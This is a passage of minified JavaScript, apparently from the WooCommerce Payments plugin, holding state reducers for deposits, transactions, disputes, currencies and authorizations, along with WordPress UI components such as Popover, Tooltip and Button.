co.SET_ERROR_FOR_DEPOSIT_QUERY:return{...e,queries:{...e.queries,[a]:{error:o}}};case co.SET_DEPOSITS_SUMMARY:return{...e,summary:{...e.summary,[a]:{data:n}}};case co.SET_ERROR_FOR_DEPOSITS_SUMMARY:return{...e,summary:{...e.summary,[a]:{error:o}}};case co.SET_INSTANT_DEPOSIT:return{...e,instant:{...e.instant,data:n}}}return e},transactions:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:oa,{type:t,query:r={},data:n=[],error:o,status:a}=arguments.length>1?arguments[1]:void 0;const i=lo(r);switch(t){case na.SET_TRANSACTIONS:return{...e,[i]:{data:n}};case na.SET_ERROR_FOR_TRANSACTIONS:return{...e,[i]:{error:o}};case na.SET_TRANSACTIONS_SUMMARY:return{...e,summary:{...e.summary,[i]:{data:n}}};case na.SET_ERROR_FOR_TRANSACTIONS_SUMMARY:return{...e,summary:{...e.summary,[i]:{error:o}}};case na.SET_FRAUD_OUTCOME_TRANSACTIONS:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},[i]:{data:n}}}};case na.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},[i]:{error:o}}}};case na.SET_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},summary:{...e.fraudProtection?.[a]?.summary||{},[i]:{data:n}}}}};case na.SET_ERROR_FOR_FRAUD_OUTCOME_TRANSACTIONS_SUMMARY:return{...e,fraudProtection:{...e.fraudProtection,[a]:{...e.fraudProtection?.[a]||{},summary:{...e.fraudProtection?.[a]?.summary||{},[i]:{error:o}}}}}}return e},charges:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{type:t,id:r,data:n,error:o}=arguments.length>1?arguments[1]:void 0;switch(t){case Da.SET_CHARGE:e={...e,[r]:{...e[r],data:n}};break;case Da.SET_ERROR_FOR_CHARGE:e={...e,[r]:{...e[r],error:o}}}return e},timeline:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{type:t,id:r,data:n,error:o}=arguments.length>1?arguments[1]:void 0;switch(t){case ja.SET_TIMELINE:e={...e,[r]:{data:n}};break;case ja.SET_ERROR_FOR_TIMELINE:e={...e,[r]:{...e[r],error:o}}}return e},disputes:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Qa,{type:t,query:r={},data:n=[]}=arguments.length>1?arguments[1]:void 0;const o=lo(r);switch(t){case Ga.SET_DISPUTE:return{...e,byId:{...e.byId,[n.id]:n}};case Ga.SET_DISPUTES:return{...e,cached:{...e.cached,...(0,it.keyBy)(n,"dispute_id")},queries:{...e.queries,[o]:{data:(0,it.map)(n,"dispute_id")}}};case Ga.SET_DISPUTES_SUMMARY:return{...e,summary:{...e.summary,[o]:{data:n}}}}return e},settings:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Ei,{type:t,...r}=arguments.length>1?arguments[1]:void 0;switch(t){case bi.SET_SETTINGS:return{...e,data:r.data};case bi.SET_SETTINGS_VALUES:return{...e,savingError:null,data:{...e.data,...r.payload}};case bi.SET_IS_SAVING_SETTINGS:return{...e,isSaving:r.isSaving,savingError:r.error};case bi.SET_SELECTED_PAYMENT_METHOD:return{...e,data:{...e.data,enabled_payment_method_ids:e.data.enabled_payment_method_ids.concat(r.id)}};case bi.SET_UNSELECTED_PAYMENT_METHOD:return{...e,data:{...e.data,enabled_payment_method_ids:e.data.enabled_payment_method_ids.filter((e=>e!==r.id))}}}return e},multiCurrency:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:cc,{type:t,data:r=[]}=arguments.length>1?arguments[1]:void 0;switch(t){case sc.SET_CURRENCIES:return{...e,currencies:r,available:r.available,enabled:r.enabled,default:r.default};case sc.SET_AVAILABLE_CURRENCIES:return{...e,currencies:{...e,available:r.available},available:r.available};case sc.SET_ENABLED_CURRENCIES:return{...e,currencies:{...e,enabled:r.enabled},enabled:r.enabled};case sc.SET_DEFAULT_CURRENCY:return{...e,currencies:{...e,default:r.default},default:r.default};case sc.SET_CURRENCY_SETTINGS:return{...e,currency_settings:{...e.currency_settings,[r.code]:r.data}};case sc.SET_STORE_SETTINGS:return{...e,settings:{enable_auto_currency:r.wcpay_multi_currency_enable_auto_currency,enable_storefront_switcher:r.wcpay_multi_currency_enable_storefront_switcher,site_theme:r.site_theme,date_format:r.date_format,time_format:r.time_format,store_url:r.store_url}}}return e},readers:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{type:t,id:r,data:n,error:o}=arguments.length>1?arguments[1]:void 0;switch(t){case Dc.SET_CARD_READER_STATS:e={...e,[r]:{...e[r],data:n}};break;case Dc.SET_ERROR_FOR_CARD_READER_STATS:e={...e,[r]:{...e[r],error:o}};break;case Dc.SET_READERS:e={...e,list:n}}return e},capital:function(e,t){switch(void 0===e&&(e=Wc),t.type){case Hc.SET_ACTIVE_LOAN_SUMMARY:return Vc(Vc({},e),{summary:t.data,summaryError:void 0});case Hc.SET_ERROR_FOR_ACTIVE_LOAN_SUMMARY:return Vc(Vc({},e),{summary:void 0,summaryError:t.error});case Hc.SET_LOANS:return Vc(Vc({},e),{loans:t.data,loansError:void 0});case Hc.SET_ERROR_FOR_LOANS:return Vc(Vc({},e),{loans:void 0,loansError:t.error})}return e},documents:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:il,{type:t,query:r={},data:n=[],error:o}=arguments.length>1?arguments[1]:void 0;const a=lo(r);switch(t){case al.SET_DOCUMENTS:return{...e,[a]:{data:n}};case al.SET_ERROR_FOR_DOCUMENTS:return{...e,[a]:{error:o}};case al.SET_DOCUMENTS_SUMMARY:return{...e,summary:{...e.summary,[a]:{data:n}}};case al.SET_ERROR_FOR_DOCUMENTS_SUMMARY:return{...e,summary:{...e.summary,[a]:{error:o}}}}return e},paymentIntents:function(e,t){var r,n;void 0===e&&(e=Tl);var o=t.type,a=t.id;switch(o){case wl.SET_PAYMENT_INTENT:return Sl(Sl({},e),((r={})[a]=Sl(Sl({},e[a]),{data:t.data}),r));case wl.SET_ERROR_FOR_PAYMENT_INTENT:return Sl(Sl({},e),((n={})[a]=Sl(Sl({},e[a]),{error:t.error}),n));default:return e}},authorizations:function(e,t){var r,n,o,a,i;switch(void 0===e&&(e=Dl),t.type){case kl.SET_AUTHORIZATION:var s=t.data;return xl(xl({},e),{byId:xl(xl({},e.byId),(r={},r[s.payment_intent_id]=xl(xl({},e.byId[s.payment_intent_id]),s),r))});case kl.SET_AUTHORIZATIONS:var c=t,l=(s=c.data,c.query);return xl(xl({},e),((n={})[lo(l)]={data:s},n));case kl.SET_ERROR_FOR_AUTHORIZATIONS:var u=t,d=u.error;return l=u.query,xl(xl({},e),((o={})[lo(l)]={error:d},o));case kl.SET_AUTHORIZATIONS_SUMMARY:var m=t;return s=m.data,l=m.query,xl(xl({},e),{summary:xl(xl({},e.summary),(a={},a[lo(l)]={data:s||{}},a))});case kl.SET_ERROR_FOR_AUTHORIZATIONS_SUMMARY:var p=t;return l=p.query,d=p.error,xl(xl({},e),{summary:xl(xl({},e.summary),(i={},i[lo(l)]={error:d||""},i))});case kl.SET_IS_REQUESTING_AUTHORIZATION:return s=t.data,xl(xl({},e),{isRequesting:s})}return e}}),actions:{...t,...a,...c,...d,...y,...h,...E,...S,...O,...N,...x,...M},controls:ao.controls,selectors:{...e,...o,...s,...u,...p,..._,...b,...w,...R,...A,...k,...P},resolvers:{...n,...i,...l,...m,...f,...g,...v,...T,...C,...I,...D,...F}});const ru=e=>{let{className:t,children:r}=e;return(0,L.createElement)("ul",{className:t},r)};var nu=r(4184),ou=r.n(nu);const au=window.wp.compose,iu=window.wp.dom,su=window.wp.primitives,cu=(0,L.createElement)(su.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,L.createElement)(su.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"}));function lu(e,t,r){const{defaultView:n}=t,{frameElement:o}=n;if(!o||t===r.ownerDocument)return e;const a=o.getBoundingClientRect();return new n.DOMRect(e.left+a.left,e.top+a.top,e.width,e.height)}let uu=0;function du(e){const t=document.scrollingElement||document.body;e&&(uu=t.scrollTop);const r=e?"add":"remove";t.classList[r]("lockscroll"),document.documentElement.classList[r]("lockscroll"),e||(t.scrollTop=uu)}let mu=0;function pu(){return(0,L.useEffect)((()=>(0===mu&&du(!0),++mu,()=>{1===mu&&du(!1),--mu})),[]),null}const yu=(0,L.createContext)({registerSlot:()=>{},unregisterSlot:()=>{},registerFill:()=>{},unregisterFill:()=>{},getSlot:()=>{},getFills:()=>{},subscribe:()=>{}});function fu(e){let{name:t,children:r,registerFill:n,unregisterFill:o}=e;const a=(e=>{const{getSlot:t,subscribe:r}=(0,L.useContext)(yu),[n,o]=(0,L.useState)(t(e));return(0,L.useEffect)((()=>(o(t(e)),r((()=>{o(t(e))})))),[e]),n})(t),i=(0,L.useRef)({name:t,children:r});return(0,L.useLayoutEffect)((()=>(n(t,i.current),()=>o(t,i.current))),[]),(0,L.useLayoutEffect)((()=>{i.current.children=r,a&&a.forceUpdate()}),[r]),(0,L.useLayoutEffect)((()=>{t!==i.current.name&&(o(i.current.name,i.current),i.current.name=t,n(t,i.current))}),[t]),a&&a.node?((0,it.isFunction)(r)&&(r=r(a.props.fillProps)),(0,L.createPortal)(r,a.node)):null}const _u=e=>(0,L.createElement)(yu.Consumer,null,(t=>{let{registerFill:r,unregisterFill:n}=t;return(0,L.createElement)(fu,Y({},e,{registerFill:r,unregisterFill:n}))}));class hu extends L.Component{constructor(){super(...arguments),this.isUnmounted=!1,this.bindNode=this.bindNode.bind(this)}componentDidMount(){const{registerSlot:e}=this.props;e(this.props.name,this)}componentWillUnmount(){const{unregisterSlot:e}=this.props;this.isUnmounted=!0,e(this.props.name,this)}componentDidUpdate(e){const{name:t,unregisterSlot:r,registerSlot:n}=this.props;e.name!==t&&(r(e.name),n(t,this))}bindNode(e){this.node=e}forceUpdate(){this.isUnmounted||super.forceUpdate()}render(){const{children:e,name:t,fillProps:r={},getFills:n}=this.props,o=(0,it.map)(n(t,this),(e=>{const t=(0,it.isFunction)(e.children)?e.children(r):e.children;return L.Children.map(t,((e,t)=>{if(!e||(0,it.isString)(e))return e;const r=e.key||t;return(0,L.cloneElement)(e,{key:r})}))})).filter((0,it.negate)(L.isEmptyElement));return(0,L.createElement)(L.Fragment,null,(0,it.isFunction)(e)?e(o):o)}}const gu=e=>(0,L.createElement)(yu.Consumer,null,(t=>{let{registerSlot:r,unregisterSlot:n,getFills:o}=t;return(0,L.createElement)(hu,Y({},e,{registerSlot:r,unregisterSlot:n,getFills:o}))}));var bu=r(4155);const Eu=(0,L.createContext)({slots:{},fills:{},registerSlot:()=>{void 0!==bu&&bu.env},updateSlot:()=>{},unregisterSlot:()=>{},registerFill:()=>{},unregisterFill:()=>{}});function vu(e){const t=(0,L.useContext)(Eu),r=t.slots[e]||{},n=t.fills[e],o=(0,L.useMemo)((()=>n||[]),[n]);return{...r,updateSlot:(0,L.useCallback)((r=>{t.updateSlot(e,r)}),[e,t.updateSlot]),unregisterSlot:(0,L.useCallback)((r=>{t.unregisterSlot(e,r)}),[e,t.unregisterSlot]),fills:o,registerFill:(0,L.useCallback)((r=>{t.registerFill(e,r)}),[e,t.registerFill]),unregisterFill:(0,L.useCallback)((r=>{t.unregisterFill(e,r)}),[e,t.unregisterFill])}}var wu,Su=new Uint8Array(16);function Tu(){if(!wu&&!(wu="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||"undefined"!=typeof msCrypto&&"function"==typeof msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto)))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return wu(Su)}const Ru=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;for(var Ou=[],Cu=0;Cu<256;++Cu)Ou.push((Cu+256).toString(16).substr(1));const Au=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,r=(Ou[e[t+0]]+Ou[e[t+1]]+Ou[e[t+2]]+Ou[e[t+3]]+"-"+Ou[e[t+4]]+Ou[e[t+5]]+"-"+Ou[e[t+6]]+Ou[e[t+7]]+"-"+Ou[e[t+8]]+Ou[e[t+9]]+"-"+Ou[e[t+10]]+Ou[e[t+11]]+Ou[e[t+12]]+Ou[e[t+13]]+Ou[e[t+14]]+Ou[e[t+15]]).toLowerCase();if(!function(e){return"string"==typeof e&&Ru.test(e)}(r))throw TypeError("Stringified UUID is invalid");return r},Nu=function(e,t,r){var n=(e=e||{}).random||(e.rng||Tu)();if(n[6]=15&n[6]|64,n[8]=63&n[8]|128,t){r=r||0;for(var o=0;o<16;++o)t[r+o]=n[o];return t}return Au(n)},Iu=new Set,ku=_t()((e=>{let t=Nu().replace(/[0-9]/g,"");for(;Iu.has(t);)t=Nu().replace(/[0-9]/g,"");return Iu.add(t),ot({container:e,key:t})}));function xu(e){let{children:t,document:r}=e;if(!r)return null;const n=ku(r.head);return(0,L.createElement)(St,{value:n},t)}function Du(){const[,e]=(0,L.useState)({}),t=(0,L.useRef)(!0);return(0,L.useEffect)((()=>()=>{t.current=!1}),[]),()=>{t.current&&e({})}}function Pu(e){let{name:t,children:r}=e;const n=vu(t),o=(0,L.useRef)({rerender:Du()});if((0,L.useEffect)((()=>(n.registerFill(o),()=>{n.unregisterFill(o)})),[n.registerFill,n.unregisterFill]),!n.ref||!n.ref.current)return null;"function"==typeof r&&(r=r(n.fillProps));const a=(0,L.createElement)(xu,{document:n.ref.current.ownerDocument},r);return(0,L.createPortal)(a,n.ref.current)}const Mu=(0,L.forwardRef)((function(e,t){let{name:r,fillProps:n={},as:o="div",...a}=e;const i=(0,L.useContext)(Eu),s=(0,L.useRef)();return(0,L.useLayoutEffect)((()=>(i.registerSlot(r,s,n),()=>{i.unregisterSlot(r,s)})),[i.registerSlot,i.unregisterSlot,r]),(0,L.useLayoutEffect)((()=>{i.updateSlot(r,n)})),(0,L.createElement)(o,Y({ref:(0,au.useMergeRefs)([t,s])},a))}));function Fu(e){return(0,L.createElement)(L.Fragment,null,(0,L.createElement)(_u,e),(0,L.createElement)(Pu,e))}const Lu=(0,L.forwardRef)(((e,t)=>{let{bubblesVirtually:r,...n}=e;return r?(0,L.createElement)(Mu,Y({},n,{ref:t})):(0,L.createElement)(gu,n)}));function Uu(e){return"appear"===e?"top":"left"}const Bu="Popover",$u=(0,L.createContext)();function zu(e,t){const{paddingTop:r,paddingBottom:n,paddingLeft:o,paddingRight:a}=function(e){return e.ownerDocument.defaultView.getComputedStyle(e)}(t),i=r?parseInt(r,10):0,s=n?parseInt(n,10):0,c=o?parseInt(o,10):0,l=a?parseInt(a,10):0;return{x:e.left+c,y:e.top+i,width:e.width-c-l,height:e.height-i-s,left:e.left+c,right:e.right-l,top:e.top+i,bottom:e.bottom-s}}function ju(e,t,r){r?e.getAttribute(t)!==r&&e.setAttribute(t,r):e.hasAttribute(t)&&e.removeAttribute(t)}function Yu(e,t){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"";e.style[t]!==r&&(e.style[t]=r)}function Hu(e,t,r){r?e.classList.contains(t)||e.classList.add(t):e.classList.contains(t)&&e.classList.remove(t)}const Vu=(0,L.forwardRef)(((e,t)=>{let{headerTitle:r,onClose:n,children:o,className:a,noArrow:i=!0,isAlternate:s,position:c="bottom right",range:l,focusOnMount:u="firstElement",anchorRef:d,shouldAnchorIncludePadding:m,anchorRect:p,getAnchorRect:y,expandOnMobile:f,animate:_=!0,onFocusOutside:h,__unstableStickyBoundaryElement:g,__unstableSlotName:b=Bu,__unstableObserveElement:E,__unstableBoundaryParent:v,__unstableForcePosition:w,__unstableForceXAlignment:S,__unstableEditorCanvasWrapper:T,...R}=e;const O=(0,L.useRef)(null),C=(0,L.useRef)(null),A=(0,L.useRef)(),N=(0,au.useViewportMatch)("medium","<"),[I,k]=(0,L.useState)(),x=(0,L.useContext)($u)||b,D=vu(x),P=f&&N,[M,F]=(0,au.useResizeObserver)();i=P||i,(0,L.useLayoutEffect)((()=>{if(P)return Hu(A.current,"is-without-arrow",i),Hu(A.current,"is-alternate",s),ju(A.current,"data-x-axis"),ju(A.current,"data-y-axis"),Yu(A.current,"top"),Yu(A.current,"left"),Yu(C.current,"maxHeight"),void Yu(C.current,"maxWidth");const e=()=>{if(!A.current||!C.current)return;let e=function(e,t,r){let n=arguments.length>3&&void 0!==arguments[3]&&arguments[3],o=arguments.length>4?arguments[4]:void 0,a=arguments.length>5?arguments[5]:void 0;if(t)return t;if(r){if(!e.current)return;const t=r(e.current);return lu(t,t.ownerDocument||e.current.ownerDocument,a)}if(!1!==n){if(!(n&&window.Range&&window.Element&&window.DOMRect))return;if("function"==typeof(null==n?void 0:n.cloneRange))return lu((0,iu.getRectangleFromRange)(n),n.endContainer.ownerDocument,a);if("function"==typeof(null==n?void 0:n.getBoundingClientRect)){const e=lu(n.getBoundingClientRect(),n.ownerDocument,a);return o?e:zu(e,n)}const{top:e,bottom:t}=n,r=e.getBoundingClientRect(),i=t.getBoundingClientRect(),s=lu(new window.DOMRect(r.left,r.top,r.width,i.bottom-r.top),e.ownerDocument,a);return o?s:zu(s,n)}if(!e.current)return;const{parentNode:i}=e.current,s=lu(i.getBoundingClientRect(),i.ownerDocument,a);return o?s:zu(s,i)}(O,p,y,d,m,A.current);if(!e)return;const{offsetParent:t,ownerDocument:r}=A.current;let n,o=0;if(t&&t!==r.body){const r=t.getBoundingClientRect();o=r.top,e=new window.DOMRect(e.left-r.left,e.top-r.top,e.width,e.height)}v&&(n=A.current.parentElement);const a=F.height?F:C.current.getBoundingClientRect(),{popoverTop:l,popoverLeft:u,xAxis:f,yAxis:_,contentHeight:h,contentWidth:b}=function(e,t){let r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"top",n=arguments.length>3?arguments[3]:void 0,o=arguments.length>5?arguments[5]:void 0,a=arguments.length>6?arguments[6]:void 0,i=arguments.length>7?arguments[7]:void 0,s=arguments.length>8?arguments[8]:void 0,c=arguments.length>9?arguments[9]:void 0;const[l,u="center",d]=r.split(" "),m=function(e,t,r,n,o,a,i,s,c){const{height:l}=t;if(o){const t=o.getBoundingClientRect(),n=t.top+l-i,a=t.bottom-l-i;if(e.top<=n)return!c||l+10<c.scrollTop+e.top?{yAxis:r,popoverTop:Math.min(e.bottom,n)}:{yAxis:"bottom",popoverTop:Math.min(e.bottom,a)}}let u=e.top+e.height/2;"bottom"===n?u=e.bottom:"top"===n&&(u=e.top);const d={popoverTop:u,contentHeight:(u-l/2>0?l/2:u)+(u+l/2>window.innerHeight?window.innerHeight-u:l/2)},m={popoverTop:e.top,contentHeight:e.top-10-l>0?l:e.top-10},p={popoverTop:e.bottom,contentHeight:e.bottom+10+l>window.innerHeight?window.innerHeight-10-e.bottom:l};let y,f=r,_=null;if(!o&&!s)if("middle"===r&&d.contentHeight===l)f="middle";else if("top"===r&&m.contentHeight===l)f="top";else if("bottom"===r&&p.contentHeight===l)f="bottom";else{f=m.contentHeight>p.contentHeight?"top":"bottom";const e="top"===f?m.contentHeight:p.contentHeight;_=e!==l?e:null}return y="middle"===f?d.popoverTop:"top"===f?m.popoverTop:p.popoverTop,{yAxis:f,popoverTop:y,contentHeight:_}}(e,t,l,d,n,0,o,i,c),p=function(e,t,r,n,o,a,i,s,c){const{width:l}=t;"left"===r&&(0,j.isRTL)()?r="right":"right"===r&&(0,j.isRTL)()&&(r="left"),"left"===n&&(0,j.isRTL)()?n="right":"right"===n&&(0,j.isRTL)()&&(n="left");const u=Math.round(e.left+e.width/2),d={popoverLeft:u,contentWidth:(u-l/2>0?l/2:u)+(u+l/2>window.innerWidth?window.innerWidth-u:l/2)};let m=e.left;"right"===n?m=e.right:"middle"===a||c||(m=u);let p=e.right;"left"===n?p=e.left:"middle"===a||c||(p=u);const y={popoverLeft:m,contentWidth:m-l>0?l:m},f={popoverLeft:p,contentWidth:p+l>window.innerWidth?window.innerWidth-p:l};let _,h=r,g=null;if(!o&&!s)if("center"===r&&d.contentWidth===l)h="center";else if("left"===r&&y.contentWidth===l)h="left";else if("right"===r&&f.contentWidth===l)h="right";else{h=y.contentWidth>f.contentWidth?"left":"right";const e="left"===h?y.contentWidth:f.contentWidth;l>window.innerWidth&&(g=window.innerWidth),e!==l&&(h="center",d.popoverLeft=window.innerWidth/2)}return _="center"===h?d.popoverLeft:"left"===h?y.popoverLeft:f.popoverLeft,i&&(_=Math.min(_,i.offsetLeft+i.offsetWidth-l),(0,j.isRTL)()||(_=Math.max(_,0))),{xAxis:h,popoverLeft:_,contentWidth:g}}(e,t,u,d,n,m.yAxis,a,i,s);return{...p,...m}}(e,a,c,g,A.current,o,n,w,S,T);"number"==typeof l&&"number"==typeof u&&(Yu(A.current,"top",l+"px"),Yu(A.current,"left",u+"px")),Hu(A.current,"is-without-arrow",i||"center"===f&&"middle"===_),Hu(A.current,"is-alternate",s),ju(A.current,"data-x-axis",f),ju(A.current,"data-y-axis",_),Yu(C.current,"maxHeight","number"==typeof h?h+"px":""),Yu(C.current,"maxWidth","number"==typeof b?b+"px":""),k(({left:"right",right:"left"}[f]||"center")+" "+({top:"bottom",bottom:"top"}[_]||"middle"))};e();const{ownerDocument:t}=A.current,{defaultView:r}=t,n=r.setInterval(e,500);let o;const a=()=>{r.cancelAnimationFrame(o),o=r.requestAnimationFrame(e)};r.addEventListener("click",a),r.addEventListener("resize",e),r.addEventListener("scroll",e,!0);const l=function(e){if(e)return e.endContainer?e.endContainer.ownerDocument:e.top?e.top.ownerDocument:e.ownerDocument}(d);let u;return l&&l!==t&&(l.defaultView.addEventListener("resize",e),l.defaultView.addEventListener("scroll",e,!0)),E&&(u=new r.MutationObserver(e),u.observe(E,{attributes:!0})),()=>{var i,s;r.clearInterval(n),r.removeEventListener("resize",e),r.removeEventListener("scroll",e,!0),r.removeEventListener("click",a),r.cancelAnimationFrame(o),l&&l!==t&&(null===(i=l.defaultView)||void 0===i||i.removeEventListener("resize",e),null===(s=l.defaultView)||void 0===s||s.removeEventListener("scroll",e,!0)),u&&u.disconnect()}}),[P,p,y,d,m,c,F,g,E,v]);const U=(e,t)=>{"focus-outside"===e&&h?h(t):n&&n()},[B,$]=(0,au.__experimentalUseDialog)({focusOnMount:u,__unstableOnClose:U,onClose:U}),z=(0,au.useMergeRefs)([A,B,t]),H=Boolean(_&&I)&&function(e){if("loading"===e.type)return ou()("components-animate__loading");const{type:t,origin:r=Uu(t)}=e;if("appear"===t){const[e,t="center"]=r.split(" ");return ou()("components-animate__appear",{["is-from-"+t]:"center"!==t,["is-from-"+e]:"middle"!==e})}return"slide-in"===t?ou()("components-animate__slide-in","is-from-"+r):void 0}({type:"appear",origin:I});let V=(0,L.createElement)("div",Y({className:ou()("components-popover",a,H,{"is-expanded":P,"is-without-arrow":i,"is-alternate":s})},R,{ref:z},$,{tabIndex:"-1"}),P&&(0,L.createElement)(pu,null),P&&(0,L.createElement)("div",{className:"components-popover__header"},(0,L.createElement)("span",{className:"components-popover__header-title"},r),(0,L.createElement)(ad,{className:"components-popover__close",icon:cu,onClick:n})),(0,L.createElement)("div",{ref:C,className:"components-popover__content"},(0,L.createElement)("div",{style:{position:"relative"}},M,o)));return D.ref&&(V=(0,L.createElement)(Fu,{name:x},V)),d||p?V:(0,L.createElement)("span",{ref:O},V)}));Vu.Slot=(0,L.forwardRef)((function(e,t){let{name:r=Bu}=e;return(0,L.createElement)(Lu,{bubblesVirtually:!0,name:r,className:"popover-slot",ref:t})})),Vu.__unstableSlotNameProvider=$u.Provider;const Wu=Vu,qu=function(e){let t,r,{shortcut:n,className:o}=e;return n?((0,it.isString)(n)&&(t=n),(0,it.isObject)(n)&&(t=n.display,r=n.ariaLabel),(0,L.createElement)("span",{className:o,"aria-label":r},t)):null},Gu=700,Qu=(0,L.createElement)("div",{className:"event-catcher"}),Zu=e=>{let{eventHandlers:t,child:r,childrenWithPopover:n}=e;return(0,L.cloneElement)((0,L.createElement)("span",{className:"disabled-element-wrapper"},(0,L.cloneElement)(Qu,t),(0,L.cloneElement)(r,{children:n})),t)},Ku=e=>{let{child:t,eventHandlers:r,childrenWithPopover:n}=e;return(0,L.cloneElement)(t,{...r,children:n})},Xu=(e,t,r)=>{if(1!==L.Children.count(e))return;const n=L.Children.only(e);n.props.disabled||"function"==typeof n.props[t]&&n.props[t](r)},Ju=function(e){const{children:t,position:r,text:n,shortcut:o,delay:a=Gu}=e,[i,s]=(0,L.useState)(!1),[c,l]=(0,L.useState)(!1),u=(0,au.useDebounce)(l,a),d=e=>{Xu(t,"onMouseDown",e),document.addEventListener("mouseup",y),s(!0)},m=e=>{Xu(t,"onMouseUp",e),document.removeEventListener("mouseup",y),s(!1)},p=e=>"mouseUp"===e?m:"mouseDown"===e?d:void 0,y=p("mouseUp"),f=(e,r)=>n=>{if(Xu(t,e,n),n.currentTarget.disabled)return;if("focus"===n.type&&i)return;u.cancel();const o=(0,it.includes)(["focus","mouseenter"],n.type);o!==c&&(r?u(o):l(o))},_=()=>{u.cancel(),document.removeEventListener("mouseup",y)};if((0,L.useEffect)((()=>_),[]),1!==L.Children.count(t))return t;const h={onMouseEnter:f("onMouseEnter",!0),onMouseLeave:f("onMouseLeave"),onClick:f("onClick"),onFocus:f("onFocus"),onBlur:f("onBlur"),onMouseDown:p("mouseDown")},g=L.Children.only(t),{children:b,disabled:E}=g.props,v=E?Zu:Ku,w=(e=>{let{grandchildren:t,isOver:r,position:n,text:o,shortcut:a}=e;return(0,L.concatChildren)(t,r&&(0,L.createElement)(Wu,{focusOnMount:!1,position:n,className:"components-tooltip","aria-hidden":"true",animate:!1,noArrow:!0},o,(0,L.createElement)(qu,{className:"components-tooltip__shortcut",shortcut:a})))})({grandchildren:b,isOver:c,position:r,text:n,shortcut:o});return v({child:g,eventHandlers:h,childrenWithPopover:w})},ed=function(e){let{icon:t,className:r,...n}=e;const o=["dashicon","dashicons","dashicons-"+t,r].filter(Boolean).join(" ");return(0,L.createElement)("span",Y({className:o},n))},td=function(e){let{icon:t=null,size:r=24,...n}=e;if("string"==typeof t)return(0,L.createElement)(ed,Y({icon:t},n));if((0,L.isValidElement)(t)&&ed===t.type)return(0,L.cloneElement)(t,{...n});if("function"==typeof t)return t.prototype instanceof L.Component?(0,L.createElement)(t,{size:r,...n}):t({size:r,...n});if(t&&("svg"===t.type||t.type===su.SVG)){const e={width:r,height:r,...t.props,...n};return(0,L.createElement)(su.SVG,e)}return(0,L.isValidElement)(t)?(0,L.cloneElement)(t,{size:r,...n}):t},rd={border:0,clip:"rect(1px, 1px, 1px, 1px)",WebkitClipPath:"inset( 50% )",clipPath:"inset( 50% )",height:"1px",margin:"-1px",overflow:"hidden",padding:0,position:"absolute",width:"1px",wordWrap:"normal"},nd=bt((function(e,t){const{style:r,...n}=jt(e,"VisuallyHidden");return(0,L.createElement)(Dt,Y({ref:t},n,{style:{...rd,...r||{}}}))}),"VisuallyHidden"),od=["onMouseDown","onClick"],ad=(0,L.forwardRef)((function e(t,r){const{href:n,target:o,isSmall:a,isPressed:i,isBusy:s,isDestructive:c,className:l,disabled:u,icon:d,iconPosition:m="left",iconSize:p,showTooltip:y,tooltipPosition:f,shortcut:_,label:h,children:g,text:b,variant:E,__experimentalIsFocusable:v,describedBy:w,...S}=function(e){let{isDefault:t,isPrimary:r,isSecondary:n,isTertiary:o,isLink:a,variant:i,...s}=e,c=i;var l,u,d,m,p;return r&&(null!==(l=c)&&void 0!==l||(c="primary")),o&&(null!==(u=c)&&void 0!==u||(c="tertiary")),n&&(null!==(d=c)&&void 0!==d||(c="secondary")),t&&(Kr()("Button isDefault prop",{since:"5.4",alternative:'variant="secondary"',version:"6.2"}),null!==(m=c)&&void 0!==m||(c="secondary")),a&&(null!==(p=c)&&void 0!==p||(c="link")),{...s,variant:c}}(t),T=(0,au.useInstanceId)(e,"components-button__description"),R=ou()("components-button",l,{"is-secondary":"secondary"===E,"is-primary":"primary"===E,"is-small":a,"is-tertiary":"tertiary"===E,"is-pressed":i,"is-busy":s,"is-link":"link"===E,"is-destructive":c,"has-text":!!d&&!!g,"has-icon":!!d}),O=u&&!v,C=void 0===n||O?"button":"a",A="a"===C?{href:n,target:o}:{type:"button",disabled:O,"aria-pressed":i};if(u&&v){A["aria-disabled"]=!0;for(const e of od)S[e]=e=>{e.stopPropagation(),e.preventDefault()}}const N=!O&&(y&&h||_||!!h&&(!g||(0,it.isArray)(g)&&!g.length)&&!1!==y),I=w?T:null,k=S["aria-describedby"]||I,x=(0,L.createElement)(C,Y({},A,S,{className:R,"aria-label":S["aria-label"]||h,"aria-describedby":k,ref:r}),d&&"left"===m&&(0,L.createElement)(td,{icon:d,size:p}),b&&(0,L.createElement)(L.Fragment,null,b),d&&"right"===m&&(0,L.createElement)(td,{icon:d,size:p}),g);return N?(0,L.createElement)(L.Fragment,null,(0,L.createElement)(Ju,{text:w||h,shortcut:_,position:f},x),w&&(0,L.createElement)(nd,null,(0,L.createElement)("span",{id:I},w))):(0,L.createElement)(L.Fragment,null,x,w&&(0,L.createElement)(nd,null,(0,L.createElement)("span",{id:I},w)))}));var id=r(7132);function sd(e){return 